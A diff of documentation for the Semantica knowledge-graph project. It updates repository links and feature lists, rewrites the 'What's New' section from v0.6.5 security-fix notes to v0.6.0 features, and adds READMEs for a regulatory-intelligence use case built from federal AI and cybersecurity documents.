uv pip compile pyproject.toml --python-version 3.11 --extra all --generate-hashes -o requirements-ci.txt
|
||||
```
|
||||
|
||||
The `all` extra is the repo's cross-platform dependency set (GPU extras like
|
||||
`faiss-gpu`/`cupy` are excluded and installed separately on Linux — see
|
||||
`pyproject.toml`). Keep the pinned `uv` version in sync with CI so regeneration
|
||||
is deterministic.
|
||||
|
||||
CI's staleness check re-resolves with the committed lockfile as a constraint
|
||||
and compares version lines only: upstream package releases never fail CI —
|
||||
the lockfile changes only when `pyproject.toml` changes intentionally.
|
||||
|
||||
CI fails if `requirements-ci.txt` is stale relative to `pyproject.toml`
|
||||
(the version-line comparison detects new/removed/changed dependencies).
|
||||
|
||||
Build-system pins: `[build-system].requires` is pinned to exact versions
|
||||
(`setuptools==84.0.0`, `wheel==0.48.0`) and release builds run
|
||||
`python -m build --no-isolation` against the lockfile — no unpinned
|
||||
build-time isolation anywhere.
|
||||
|
||||
### 3. Create Branch
|
||||
|
||||
```bash
|
||||
@@ -398,8 +327,8 @@ result = instance.method()
|
||||
## 🆘 Getting Help
|
||||
|
||||
- 💬 [Discord](https://discord.gg/sV34vps5hH) - Real-time chat
|
||||
- 💭 [GitHub Discussions](https://github.com/semantica-agi/semantica/discussions) - Q&A
|
||||
- 🐛 [GitHub Issues](https://github.com/semantica-agi/semantica/issues) - Bug reports
|
||||
- 💭 [GitHub Discussions](https://github.com/Hawksight-AI/semantica/discussions) - Q&A
|
||||
- 🐛 [GitHub Issues](https://github.com/Hawksight-AI/semantica/issues) - Bug reports
|
||||
|
||||
**Before asking:** Check existing documentation, search issues/discussions, review cookbook examples
|
||||
|
||||
@@ -434,4 +363,4 @@ This project follows a [Code of Conduct](CODE_OF_CONDUCT.md). Be respectful and
|
||||
|
||||
Every contribution matters - whether it's a single line of code, a typo fix, a helpful answer, or a bug report. We appreciate you! 🙏
|
||||
|
||||
⭐ **Give us a Star** • 🍴 **[Fork Semantica](https://github.com/semantica-agi/semantica/fork)** • 💬 **Join our [Discord](https://discord.gg/sV34vps5hH)**
|
||||
⭐ **Give us a Star** • 🍴 **[Fork Semantica](https://github.com/Hawksight-AI/semantica/fork)** • 💬 **Join our [Discord](https://discord.gg/sV34vps5hH)**
|
||||
|
||||
+1
-1
@@ -101,7 +101,7 @@ When using the all-contributors bot, use these codes:
|
||||
- `infra` - Infrastructure
|
||||
- `maintenance` - Maintenance
|
||||
|
||||
See [all-contributors specification](https://github.com/all-contributors/all-contributors#emoji-key) for complete list.
|
||||
See [all-contributors specification](https://allcontributors.org/docs/en/emoji-key) for complete list.
|
||||
|
||||
---
|
||||
|
||||
|
||||
@@ -2,8 +2,6 @@
|
||||
|
||||
<img src="Semantica Logo.png" alt="Semantica" width="420"/>
|
||||
|
||||
<a href="https://trendshift.io/repositories/18986?utm_source=repository-badge&utm_medium=badge&utm_campaign=badge-repository-18986" target="_blank" rel="noopener noreferrer"><img src="https://trendshift.io/api/badge/repositories/18986" alt="semantica-agi%2Fsemantica | Trendshift" width="250" height="55"/></a>
|
||||
|
||||
### Graph-Native Infrastructure for Context and Accountable AI Systems
|
||||
|
||||
#### *The Open Source Palantir for AI Agents*
|
||||
@@ -52,8 +50,6 @@ Most AI agents act without a trail. They store embeddings, not meaning: context
|
||||
|
||||
Semantica sits underneath your LLM, vector store, and agent framework as a deterministic infrastructure layer: no LLM required for graph construction, reasoning, or provenance.
|
||||
|
||||
> ⚠️ **System-level explainability, not foundation-model explainability.** Semantica does not expose or reconstruct what happens *inside* the LLM — its internal reasoning or chain-of-thought stays opaque, as it does for any external system. Semantica explains what's *outside* the model: the context and data fed in, the decision produced, its provenance, relevant relationships, applied policies, and the full execution trail.
|
||||
|
||||
**Who it's for:**
|
||||
|
||||
- **AI/ML platform teams** shipping agents that make consequential decisions and need structured, queryable context built from fragmented raw data, not just a vector index
|
||||
@@ -77,9 +73,9 @@ Semantica sits underneath your LLM, vector store, and agent framework as a deter
|
||||
- **Knowledge Pipeline:** Multi-source ingestion, entity-aware chunking, NER/relation/event extraction, and knowledge graph construction, with semantic deduplication and provenance-preserving merges throughout
|
||||
- **Enterprise Data Platforms:** Native connectors for Databricks (Unity Catalog + Delta Lake, PAT/OAuth M2M auth, catalog/schema/table/lineage introspection) and Snowflake (warehouse/database/schema, key-pair and OAuth auth), so tables already living in your lakehouse or warehouse become graph nodes with provenance, not another export/import hop
|
||||
- **Graph Analytics:** Centrality, community detection, link prediction, and shortest-path queries over the graph you just built
|
||||
- **Polyglot Graph Storage:** Native RDF (embedded Oxigraph, Blazegraph, Apache Jena, Eclipse RDF4J via SPARQL) and Labeled Property Graphs (Neo4j, FalkorDB, Apache AGE, AWS Neptune via Cypher), plus vector stores, all swappable without touching your code
|
||||
- **Polyglot Graph Storage:** Native RDF (Blazegraph, Apache Jena, Eclipse RDF4J via SPARQL) and Labeled Property Graphs (Neo4j, FalkorDB, Apache AGE, AWS Neptune via Cypher), plus vector stores, all swappable without touching your code
|
||||
- **Visualization:** Explore any graph, ontology, or timeline in an interactive browser workbench
|
||||
- **Drop-in Integrations:** Native Agno and CrewAI support, a full-featured MCP server, a comprehensive CLI, a REST API, and plugins across major editors
|
||||
- **Drop-in Integrations:** Native Agno support, a full-featured MCP server, a comprehensive CLI, a REST API, and plugins across major editors
|
||||
|
||||
---
|
||||
|
||||
@@ -134,7 +130,7 @@ compliant = graph.check_decision_rules({"category": "vendor_selection"}) # poli
|
||||
```bash
|
||||
semantica doctor
|
||||
# Python 3.11.9 pass
|
||||
# semantica 0.6.5 pass
|
||||
# semantica 0.6.0 pass
|
||||
# faiss vector store pass
|
||||
# Config file pass ~/.semantica/config.yaml
|
||||
```
|
||||
@@ -164,7 +160,7 @@ Sources → Ingest → Parse → Normalize → Split → Extract → Conflict De
|
||||
- **Extract → Conflict Detection → Deduplication:** NER, relations, events, triplets; conflicting facts flagged and resolved before they merge
|
||||
- **Knowledge Graph:** `GraphBuilder` constructs the graph; bi-temporal facts and full graph analytics (centrality, communities, link prediction) run on top of it
|
||||
- **Ontology · Reasoning · Provenance · Decisions:** the intelligence layer sitting on the KG, with SHACL/OWL governance, Rete/Datalog/SPARQL inference, W3C PROV-O lineage, and first-class decision records
|
||||
- **Storage:** polyglot by design, with RDF triple stores (embedded Oxigraph, Blazegraph, Apache Jena, Eclipse RDF4J), Labeled Property Graphs (Neo4j, FalkorDB, Apache AGE, AWS Neptune), and vector stores, all swappable without touching your code
|
||||
- **Storage:** polyglot by design, with RDF triple stores (Blazegraph, Apache Jena, Eclipse RDF4J), Labeled Property Graphs (Neo4j, FalkorDB, Apache AGE, AWS Neptune), and vector stores, all swappable without touching your code
|
||||
- **Outputs:** export (RDF, OWL, Parquet, Cypher, JSON-LD), interactive visualization, and access via REST API, MCP server, or CLI
|
||||
|
||||
**→ [Full Mermaid diagrams for the pipeline and the decision intelligence lifecycle](ARCHITECTURE.md)**
|
||||
@@ -1149,7 +1145,7 @@ if report.valid:
|
||||
| **Ontology Hub** | SHACL Studio · visual editor · cross-ontology alignments · health dashboard |
|
||||
| **Vector Store** | FAISS · Pinecone · Weaviate · Qdrant · Milvus · PgVector · hybrid + filtered search |
|
||||
| **Graph Databases (LPG)** | Neo4j · FalkorDB · Apache AGE · AWS Neptune |
|
||||
| **Triple Stores (RDF)** | Oxigraph (embedded) · Blazegraph · Apache Jena · Eclipse RDF4J · unified `TripletStore` interface · SPARQL query & bulk load |
|
||||
| **Triple Stores (RDF)** | Blazegraph · Apache Jena · Eclipse RDF4J · unified `TripletStore` interface · SPARQL query & bulk load |
|
||||
| **Enterprise Data Platforms** | Databricks (`DatabricksIngestor`: Unity Catalog + Delta Lake, PAT/OAuth M2M, table/query ingestion, catalog/schema/table/lineage introspection) · Snowflake (`SnowflakeIngestor`: warehouse/database/schema, password/key-pair/OAuth auth) |
|
||||
| **LLM Providers** | **All already supported today:** OpenAI (GPT-4o, o1, o3) · Anthropic (Claude) · Google Gemini · Mistral · Meta Llama · Groq · Cohere · Azure OpenAI · AWS Bedrock · Ollama · DeepSeek · Perplexity · Together AI · Fireworks AI · Replicate · HuggingFace · via `semantica.llms` and LiteLLM |
|
||||
|
||||
@@ -1191,7 +1187,7 @@ Start with `semantica`, verify with `doctor`, build a graph, and explore the com
|
||||
|
||||
## Integrations
|
||||
|
||||
Native plugin bundles for Claude Code, Cursor, Codex, Windsurf, Cline, Continue, VS Code, and OpenClaw; a full-featured MCP server for any MCP-compatible client; a comprehensive REST API; and first-class Agno and CrewAI support for agentic frameworks. Every major LLM provider is already supported via `semantica.llms` and LiteLLM: OpenAI, Anthropic, Gemini, Mistral, Llama, Groq, Cohere, Azure, Bedrock, Ollama, DeepSeek, HuggingFace, and more.
|
||||
Native plugin bundles for Claude Code, Cursor, Codex, Windsurf, Cline, Continue, VS Code, and OpenClaw; a full-featured MCP server for any MCP-compatible client; a comprehensive REST API; and first-class Agno support for multi-agent shared context. Every major LLM provider is already supported via `semantica.llms` and LiteLLM: OpenAI, Anthropic, Gemini, Mistral, Llama, Groq, Cohere, Azure, Bedrock, Ollama, DeepSeek, HuggingFace, and more.
|
||||
|
||||
MCP setup takes 30 seconds — see [MCP Server](#mcp-server) below.
|
||||
|
||||
@@ -1305,11 +1301,6 @@ MCP setup takes 30 seconds — see [MCP Server](#mcp-server) below.
|
||||
<strong>Agno</strong><br/>
|
||||
<sub>First-class · <code>pip install semantica[agno]</code></sub>
|
||||
</td>
|
||||
<td align="center" width="12.5%">
|
||||
<a href="https://github.com/crewAIInc/crewAI"><img src="https://github.com/crewAIInc.png?size=120" alt="CrewAI" width="48" height="48" /></a><br/>
|
||||
<strong>CrewAI</strong><br/>
|
||||
<sub>First-class · <code>pip install semantica[crewai]</code></sub>
|
||||
</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th colspan="8" align="left">Already Supported via REST API & MCP</th>
|
||||
@@ -1326,6 +1317,11 @@ MCP setup takes 30 seconds — see [MCP Server](#mcp-server) below.
|
||||
<sub>REST API · MCP</sub>
|
||||
</td>
|
||||
<td align="center" width="12.5%">
|
||||
<a href="https://github.com/crewAIInc/crewAI"><img src="https://github.com/crewAIInc.png?size=120" alt="CrewAI" width="48" height="48" /></a><br/>
|
||||
<strong>CrewAI</strong><br/>
|
||||
<sub>REST API · MCP</sub>
|
||||
</td>
|
||||
<td align="center" width="12.5%">
|
||||
<a href="https://github.com/run-llama/llama_index"><img src="https://github.com/run-llama.png?size=120" alt="LlamaIndex" width="48" height="48" /></a><br/>
|
||||
<strong>LlamaIndex</strong><br/>
|
||||
<sub>REST API · MCP</sub>
|
||||
@@ -1356,6 +1352,11 @@ MCP setup takes 30 seconds — see [MCP Server](#mcp-server) below.
|
||||
<sub>Dedicated toolkit</sub>
|
||||
</td>
|
||||
<td align="center" width="12.5%">
|
||||
<a href="https://github.com/crewAIInc/crewAI"><img src="https://github.com/crewAIInc.png?size=120" alt="CrewAI" width="48" height="48" /></a><br/>
|
||||
<strong>CrewAI</strong><br/>
|
||||
<sub>Dedicated toolkit</sub>
|
||||
</td>
|
||||
<td align="center" width="12.5%">
|
||||
<a href="https://github.com/run-llama/llama_index"><img src="https://github.com/run-llama.png?size=120" alt="LlamaIndex" width="48" height="48" /></a><br/>
|
||||
<strong>LlamaIndex</strong><br/>
|
||||
<sub>Dedicated toolkit</sub>
|
||||
@@ -1471,18 +1472,12 @@ For contributor / dev-server setup: **[explorer/README.md: Local Setup Guide](ex
|
||||
|
||||
---
|
||||
|
||||
## What's New in v0.6.5
|
||||
## What's New in v0.6.0
|
||||
|
||||
**Security release — upgrading is strongly recommended.** Fixes for 5 externally-reported vulnerabilities in the Explorer API and graph/triplet store backends, plus a CodeQL-flagged ReDoS:
|
||||
|
||||
- **Missing authentication on all Explorer API routes** (GHSA-j4mq-hprp-987v, Critical): every route now requires `SEMANTICA_API_KEY`, fails closed (503) rather than open when unconfigured
|
||||
- **SSRF via redirect bypass in ontology URL fetching** (GHSA-8c7v-62gr-hj6g, High): redirect targets are now re-validated at every hop and the connection is pinned to the validated address, closing a DNS check-then-use race
|
||||
- **Cypher injection via unvalidated node labels and property keys** (GHSA-482h-hw99-h62p, Critical): Neptune, Neo4j, and FalkorDB now sanitize every label/relationship-type/property-key interpolation site
|
||||
- **SPARQL injection via unvalidated triplet IRIs** (GHSA-8vgg-8mr4-r236, Critical): Blazegraph, RDF4J, and Jena now validate subject/predicate/object IRIs before interpolation
|
||||
- **Missing Origin validation on the WebSocket handshake** (GHSA-4643-wpgq-w329, Moderate, anonymous-mode only): `/ws/graph-updates` now checks `Origin` against the same allowlist `CORSMiddleware` enforces for HTTP
|
||||
- **Polynomial ReDoS in SPARQL query validation** (CodeQL `py/polynomial-redos`): fixed a backtracking regex in the Explorer's SPARQL route
|
||||
|
||||
Also includes: embedded Oxigraph backend for `TripletStore`, PROV-O trust/spec completeness for `ProvenanceManager`, and the Altair Anzo triplet store backend.
|
||||
- **Named-Graph Support for `JenaStore`:** Migrated onto `rdflib.Dataset(default_union=False)`, completing cross-backend named-graph parity across Blazegraph, RDF4J, and Jena; `add_triplets()` gains a `graph=` option
|
||||
- **SPARQL CONSTRUCT Query Templates:** Parameterized, injection-safe `CONSTRUCT` templates extended from Blazegraph-only to RDF4J and Jena, plus pipeline integration via the `construct_template` step type
|
||||
- **Databricks Connector:** `DatabricksIngestor` for Unity Catalog + Delta Lake ingestion, with PAT/OAuth M2M auth, table/query ingestion, and catalog/schema/table/lineage introspection. Install with `pip install "semantica[db-databricks]"`
|
||||
- **SQLite Vector Store Backend:** `SQLiteVecStore`, a disk-backed local vector store on `sqlite-vec`'s `vec0` virtual tables, with Cosine/L2 metrics, metadata filtering, and WAL mode. Install with `pip install semantica[vectorstore-sqlite]`
|
||||
|
||||
→ [Full release notes](RELEASE_NOTES.md) · [Changelog](CHANGELOG.md)
|
||||
|
||||
@@ -1500,8 +1495,6 @@ Semantica is designed for environments where AI outputs must be explainable, aud
|
||||
- **Cybersecurity:** Threat attribution, incident response timelines, and IOC provenance tracking
|
||||
- **Autonomous Systems:** Decision logs, safety validation, and explainable AI for certification
|
||||
|
||||
> ⚠️ **This is system-level explainability, not foundation-model explainability.** Semantica does not expose, reconstruct, or explain what happens *inside* the LLM/foundation model — its internal reasoning or chain-of-thought stays opaque, as it does for any external system. What Semantica explains is *outside* the model: the context and data fed in, the decision produced, its provenance, the relevant relationships, the policies applied, and the full execution trail. In short, Semantica explains and audits what the AI system did, not the LLM's private internal reasoning.
|
||||
|
||||
---
|
||||
|
||||
## Installation
|
||||
@@ -1513,13 +1506,11 @@ pip install semantica[all] # everything
|
||||
|
||||
```bash
|
||||
pip install semantica[agno] # Agno multi-agent integration
|
||||
pip install semantica[crewai] # CrewAI integration
|
||||
pip install semantica[llm-litellm] # OpenAI, Anthropic, Gemini, Mistral, Llama, Groq, Cohere, Bedrock, Ollama, DeepSeek, and more
|
||||
pip install semantica[graph-neo4j] # Neo4j graph store (LPG)
|
||||
pip install semantica[graph-falkordb] # FalkorDB graph store (LPG)
|
||||
pip install semantica[graph-apache-age] # Apache AGE graph store (LPG)
|
||||
pip install semantica[graph-amazon-neptune] # AWS Neptune graph store (LPG)
|
||||
pip install semantica[tripletstore-oxigraph] # Embedded in-memory/on-disk RDF store
|
||||
# RDF triple stores (Blazegraph, Apache Jena, Eclipse RDF4J) need no extra:
|
||||
# semantica.triplet_store talks SPARQL over HTTP using the core `requests` dependency
|
||||
pip install semantica[vectorstore-qdrant] # Qdrant vector store
|
||||
|
||||
@@ -0,0 +1,25 @@
|
||||
# Use Cases
|
||||
|
||||
Self-contained, end-to-end examples that combine multiple Semantica modules to solve a real-world problem, built from real public data and real external ontologies rather than synthetic samples. Unlike the tutorials in `introduction/` and `advanced/`, each use case is a folder, not a single notebook, with its own `data/` (real source documents plus a download script) and `ontology/` (vendored real ontologies plus a small domain extension) alongside the notebook itself.
|
||||
|
||||
## Available Use Cases
|
||||
|
||||
- **[Regulatory Intelligence](regulatory_intelligence/README.md)**. Turns 9 real U.S. federal AI-governance and cybersecurity-regulation documents (NIST AI RMF, NIST CSF 1.1/2.0, HIPAA Security Rule, Executive Order 14110, OMB M-24-10, and more) into an explainable, ontology-driven knowledge graph. Full pipeline: ingestion (`PDFParser`/`DoclingParser`), chunking (`TextSplitter`), automatic entity, relation, and triplet extraction across the corpus, ontology import, generation, and evaluation, entity resolution, graph construction (`GraphBuilder`), SHACL validation, deterministic rule-based reasoning (`Reasoner`), PROV-O provenance, a persistent RDF database (Oxigraph on disk, plus Semantica's `TripletStore` for a production server), conflict detection, temporal reasoning, SPARQL, JSON-LD, GraphRAG, and a five-agent Decision Intelligence workflow (precedent search, causal-chain interpretation, policy gating, decision audit reports). Reuses real W3C ontologies (ORG, PROV-O, SKOS, DCAT, OWL-Time, FRBR) rather than inventing new ones.
|
||||
|
||||
## Folder Convention
|
||||
|
||||
```
|
||||
use_cases/<name>/
|
||||
├── README.md overview, architecture, data and ontology attribution, how to run
|
||||
├── data/
|
||||
│ ├── download_*.py fetches real source documents from their official URLs
|
||||
│ ├── raw/ the fetched documents, plus a source_manifest.json (real URLs, retrieval dates)
|
||||
│ └── README.md data dictionary and source attribution
|
||||
├── ontology/
|
||||
│ ├── download_*.py fetches real external ontologies (vendored byte-for-byte)
|
||||
│ ├── external/ the vendored real ontology files
|
||||
│ ├── *.ttl small hand-authored schema extensions, aligned to the vendored ontologies
|
||||
│ └── README.md
|
||||
└── notebook/
|
||||
└── *.ipynb the end-to-end walkthrough
|
||||
```
|
||||
@@ -0,0 +1,173 @@
|
||||
# Regulatory Intelligence
|
||||
|
||||
An end-to-end Semantica pipeline that turns real U.S. federal AI-governance and cybersecurity regulations into an explainable, ontology-driven knowledge graph.
|
||||
|
||||
## Use case
|
||||
|
||||
- Federal AI-governance and cybersecurity regulations are published independently by different agencies (NIST, OMB, HHS, the Federal Reserve), with no cross-referencing between documents.
|
||||
- A compliance question spanning several of them, such as "which regulations apply to an AI system in sector X," "do these two frameworks agree," or "what changed between versions," currently requires a human to read all of them and cross-reference manually.
|
||||
- This notebook builds a knowledge graph that answers those questions directly, with cited evidence, computed (not narrated) conflict and diff detection, and policy-gated, auditable decisions for two sectors: healthcare and financial services.
|
||||
- Scope is deliberately narrow: 9 real documents, not full corpora. See "Scope" below.
|
||||
|
||||
## Questions this notebook answers
|
||||
|
||||
- Which cybersecurity regulations apply to hospitals? Answered with hybrid GraphRAG retrieval (`AgentContext.query_with_reasoning()`).
|
||||
- Which policies contradict each other? Answered with real conflict detection (`ConflictDetector`) between OMB M-24-10's binary AI risk-classification approach and NIST AI 600-1's continuous one.
|
||||
- What changed between framework versions? Answered with real, document-verified temporal diffing (`TemporalVersionManager`): CSF 2.0 added the Govern function relative to CSF 1.1.
|
||||
- Show every regulation related to AI transparency. Answered with a connected subgraph via SPARQL, not a flat document list.
|
||||
- Can Hospital X or Bank Y deploy this AI system under current regulations? Answered with a policy-gated, precedent-aware, causally-explainable Decision Intelligence workflow.
|
||||
|
||||
## Pipeline
|
||||
|
||||
```
|
||||
Real Documents (PDF / XML)
|
||||
│
|
||||
▼
|
||||
Ingestion PDFParser · DoclingParser · ingest_xml
|
||||
│
|
||||
▼
|
||||
Chunking TextSplitter (all 9 documents)
|
||||
│
|
||||
▼
|
||||
Extraction NERExtractor · RelationExtractor · TripletExtractor
|
||||
│
|
||||
▼
|
||||
Ontology Import OntologyIngestor ◄──── 6 real W3C/SPAR ontologies
|
||||
│ (ORG · PROV-O · SKOS · DCAT · OWL-Time · FRBR)
|
||||
▼
|
||||
Curated Requirement Clauses JSONParser
|
||||
│
|
||||
▼
|
||||
Entity Resolution EntityResolver · SimilarityCalculator
|
||||
│
|
||||
▼
|
||||
Knowledge Graph ContextGraph via GraphBuilder
|
||||
│
|
||||
├──► Ontology Generation & Evaluation OntologyGenerator · OntologyEvaluator
|
||||
├──► SHACL Validation SHACLGenerator · pyshacl
|
||||
├──► Deterministic Reasoning Reasoner (forward-chaining)
|
||||
├──► Provenance ProvenanceManager (PROV-O)
|
||||
└──► Persistent RDF Database Oxigraph (on-disk) + TripletStore (Blazegraph/Jena)
|
||||
│
|
||||
▼
|
||||
Conflict Detection · Temporal Reasoning ConflictDetector · TemporalVersionManager
|
||||
│
|
||||
▼
|
||||
SPARQL · JSON-LD Oxigraph · rdflib · RDFExporter
|
||||
│
|
||||
▼
|
||||
GraphRAG Retrieval AgentContext.query_with_reasoning()
|
||||
│
|
||||
▼
|
||||
Decision Intelligence PolicyEngine · CausalChainAnalyzer · precedent search · audit report
|
||||
│
|
||||
▼
|
||||
Explainable, evidence-backed answer
|
||||
```
|
||||
|
||||
## What each layer demonstrates
|
||||
|
||||
- **Ingestion**: `PDFParser` (fast) and `DoclingParser` (layout-aware, used selectively) turn heterogeneous file formats into normalized text.
|
||||
- **Chunking**: `TextSplitter` breaks every one of the 9 documents into bounded, citation-addressable units (840 chunks total in a real run).
|
||||
- **Extraction**: `NERExtractor`, `RelationExtractor`, and `TripletExtractor` run fully automatic entity, relation, and triplet extraction across a representative sample from all 9 documents (287 entities, 392 relations, 390 triplets in a real run). The real, noisy output is the rationale for why this pipeline also relies on curated data for dense legal text.
|
||||
- **Ontology**: `OntologyIngestor` reuses 6 real external ontologies rather than inventing new ones. `OntologyGenerator` and `OntologyEvaluator` generate and score a working ontology from the graph itself.
|
||||
- **Validation**: `SHACLGenerator` and `pyshacl` validate instance data against structural constraints.
|
||||
- **Reasoning**: `Reasoner` performs deterministic, rule-based forward-chaining inference, distinct from the LLM-based reasoning used later in GraphRAG. For example, it infers that a Regulation applies to a sector because one of its clauses does, without that being asserted directly.
|
||||
- **Provenance**: `ProvenanceManager` emits real W3C PROV-O lineage for every fact.
|
||||
- **Storage**: an Oxigraph store gives genuine on-disk RDF persistence with zero extra infrastructure, verified in a real run by closing and reopening the store from disk. `TripletStore` is Semantica's own interface to a dedicated production graph-database server (Blazegraph, Jena, RDF4J, AnzoGraph). Semantica's built-in SKOS vocabulary *management*, `OntologyEngine.list_vocabularies()`, `.list_concepts()`, and `.search_concepts()` (the same operations behind `semantica ontology skos search` on the CLI), is backed by that same server.
|
||||
- **Cross-document reasoning**: `ConflictDetector` and `TemporalVersionManager` find real disagreements and diffs between frameworks.
|
||||
- **Retrieval**: `AgentContext.query_with_reasoning()` implements GraphRAG, retrieval that expands across graph edges rather than text similarity alone.
|
||||
- **Decision Intelligence**: `PolicyEngine`, `CausalChainAnalyzer`, precedent search, and a decision audit report treat AI-assisted decisions as first-class, queryable, explainable graph objects.
|
||||
|
||||
## What's real, what's schema
|
||||
|
||||
- **9 real documents** (`data/`): official NIST, GovInfo/Federal Register, eCFR, whitehouse.gov, and federalreserve.gov publications. See `data/README.md` for exact source URLs and retrieval dates.
|
||||
- **6 real vendored ontologies** (`ontology/external/`): W3C Organization Ontology, PROV-O, SKOS, DCAT, OWL-Time, and FRBR Core (SPAR edition), fetched byte-for-byte from their official namespaces and repositories. See `ontology/README.md`.
|
||||
- **Two small hand-authored schema files** (`ontology/regulatory_extension.ttl`, `ontology/skos/regulatory_taxonomy.ttl`): not data. Every term in them was verified to appear in the real source documents before being written.
|
||||
- **`data/requirement_clauses.json`**: 20 citation-traceable requirement clauses, hand-curated from the real ingested text and loaded through `JSONParser` rather than an inline Python literal. The notebook's Step 3 demonstrates, with real output, why fully-automatic extraction isn't trusted for this instead.
|
||||
|
||||
Nothing in this use case is fabricated or LLM-generated data.
|
||||
|
||||
## Folder structure
|
||||
|
||||
```
|
||||
regulatory_intelligence/
|
||||
├── README.md (this file)
|
||||
├── data/
|
||||
│ ├── download_data.py fetches the 9 real documents
|
||||
│ ├── requirement_clauses.json 20 real, citation-traceable requirement clauses
|
||||
│ ├── raw/ the fetched documents, plus source_manifest.json
|
||||
│ └── README.md
|
||||
├── ontology/
|
||||
│ ├── download_ontologies.py fetches the 6 real external ontologies
|
||||
│ ├── external/ the vendored real ontology files
|
||||
│ ├── regulatory_extension.ttl
|
||||
│ ├── skos/regulatory_taxonomy.ttl
|
||||
│ └── README.md
|
||||
└── notebook/
|
||||
└── regulatory_intelligence.ipynb
|
||||
```
|
||||
|
||||
## How to run
|
||||
|
||||
```bash
|
||||
pip install semantica[shacl] pdfplumber rdflib requests pyoxigraph jupyter
|
||||
|
||||
# Optional: higher-fidelity, layout-aware PDF parsing for one document in Step 1.
|
||||
# Adds torch and an ML layout model; the first run downloads model weights.
|
||||
pip install semantica[parse-docling]
|
||||
|
||||
cd data && python download_data.py && cd ..
|
||||
cd ontology && python download_ontologies.py && cd ..
|
||||
|
||||
jupyter notebook notebook/regulatory_intelligence.ipynb
|
||||
```
|
||||
|
||||
Or execute headlessly:
|
||||
|
||||
```bash
|
||||
jupyter nbconvert --to notebook --execute notebook/regulatory_intelligence.ipynb
|
||||
```
|
||||
|
||||
Step 13 persists the graph's triples to a real, on-disk Oxigraph database, then closes and reopens it to prove the data survived. That part needs no setup at all. The same step also attempts a live connection to a Blazegraph/Jena/RDF4J/AnzoGraph server through Semantica's `TripletStore`; without one running it fails fast with a clear message. To see that path succeed instead:
|
||||
|
||||
```bash
|
||||
docker run -p 9999:9999 lyrasis/blazegraph
|
||||
```
|
||||
|
||||
An LLM API key (for example `GROQ_API_KEY`) is optional. `AgentContext.retrieve()` always returns cited evidence regardless of whether an LLM provider is configured, so the GraphRAG step degrades gracefully to evidence-only retrieval without one.
|
||||
|
||||
## Runtime
|
||||
|
||||
This notebook covers substantially more ground than a minimal "first knowledge graph" tutorial: ingestion (including optional ML-based parsing), chunking every document, automatic extraction across the corpus, ontology import, generation, and evaluation, entity resolution, graph construction, SHACL validation, deterministic reasoning, provenance, a persistent RDF database, conflict detection, temporal diffing, SPARQL, JSON-LD, GraphRAG, and a five-agent Decision Intelligence workflow. It runs longer than a strict 30-minute cap as a result. The dataset stays small (9 documents, roughly 50 graph nodes) even though the pipeline covers a lot of ground. Without the optional Docling step it runs noticeably faster.
|
||||
|
||||
## Scope
|
||||
|
||||
Included:
|
||||
- 9 real documents across AI governance (NIST AI RMF/600-1, EO 14110, OMB M-24-10) and cybersecurity (NIST CSF 1.1/2.0, HIPAA Security Rule, NIST SP 800-66) regulation, spanning healthcare and financial-services sector applications.
|
||||
- 6 real vendored ontologies (ORG, PROV-O, SKOS, DCAT, OWL-Time, FRBR) plus one small hand-authored extension.
|
||||
- The full pipeline described above, end to end.
|
||||
|
||||
Excluded, deliberately, to stay laptop-runnable:
|
||||
- Full US Code / CFR ingestion (only the relevant HIPAA subpart is used).
|
||||
- The full NIST SP 800 series (only SP 800-66 is used).
|
||||
- Sectors beyond healthcare and financial services.
|
||||
- Docling parsing for all 9 documents. It costs about 30 seconds per 10 pages on CPU, so it's used for one document to keep total runtime reasonable; the tradeoff itself is part of the lesson.
|
||||
- A dedicated Blazegraph/Jena/RDF4J/AnzoGraph server. Oxigraph gives real on-disk persistence without one; the server-backed `TripletStore` path is demonstrated as a genuine connection attempt only.
|
||||
|
||||
## Notes on real-world library behavior
|
||||
|
||||
This notebook reports what the underlying tools actually do, including rough edges in the installed library version, rather than working around them quietly:
|
||||
|
||||
- **Extraction** (Step 3): pattern-based NER, relation, and triplet extraction over dense regulatory prose is genuinely noisy. Institution names get mislabeled and most sentences match no relation pattern. The real output is shown as the rationale for using curated data for the rest of the pipeline.
|
||||
- **Entity resolution** (Step 7): `EntityResolver.resolve_entities()`'s batch merge doesn't actually merge these near-duplicate agency names in the installed version. Shown alongside the real pairwise `SimilarityCalculator` scores (0.54 to 0.80) that should drive it.
|
||||
- **Ontology validation** (Step 9): the `OntologyValidator` embedded automatically in `OntologyGenerator`'s output is a placeholder in the installed version (`valid`, `consistent`, and `satisfiable` are effectively always `True`). Real structural evaluation comes from `OntologyEvaluator`, called explicitly.
|
||||
- **Precedent search** (Step 19): `AgentContext.find_precedents_advanced()`'s vector-store path has an internal attribute bug and returns zero results even for a seeded, on-topic precedent. The notebook falls back to a native `ContextGraph.find_nodes()` lookup that works. Root cause traced below, under GraphRAG retrieval re-ranking: it is the same underlying gap in `VectorStore`, not a separate issue.
|
||||
- **GraphRAG retrieval re-ranking** (Step 18): `ContextGraph.query_with_reasoning()`/`AgentContext.retrieve()` can log an internal `TextEmbedder` failure ("Text cannot be empty or whitespace-only") during re-ranking. Traced to its exact source: `VectorStore.store_vectors()` (`vector_store.py`, around line 499) drops the `metadata` argument when delegating to a backend that exposes `add_vectors()` but not `store_vectors()`, which includes the real FAISS backend this notebook uses for genuine ANN search. Every memory stored through `AgentContext.store()` therefore reaches FAISS with empty metadata, so `ContextRetriever._retrieve_from_vector()` recovers an empty string for `content`, and `_rank_and_merge()` embeds it. `TextEmbedder.embed_text()` correctly rejects the empty string and reports the failure to Semantica's progress tracker (visible as a `TextEmbedder` ❌ in the CLI progress table), then `VectorStore.embed()` catches it and substitutes a random fallback vector with a warning. The retrieval call still returns real results; only that one result's re-ranking score is degraded to a random vector instead of a real one. Confirmed with a standalone reproduction against the installed version, not inferred from the log line alone.
|
||||
- **Hybrid search** (used internally by advanced retrieval paths): `HybridSearch.search()` (`hybrid_search.py`, around line 314) unconditionally reads `self.vector_store.vectors`, a dict `VectorStore` only creates for `backend="inmemory"`. Every other backend, including FAISS, never gets that attribute, so `HybridSearch` raises `AttributeError`, caught internally and reported to the progress tracker as a `HybridSearch` ❌. This is the same class of backend-inconsistency bug as the metadata drop above: code written against the in-memory backend's internals, applied to a `VectorStore` configured for a different, real backend.
|
||||
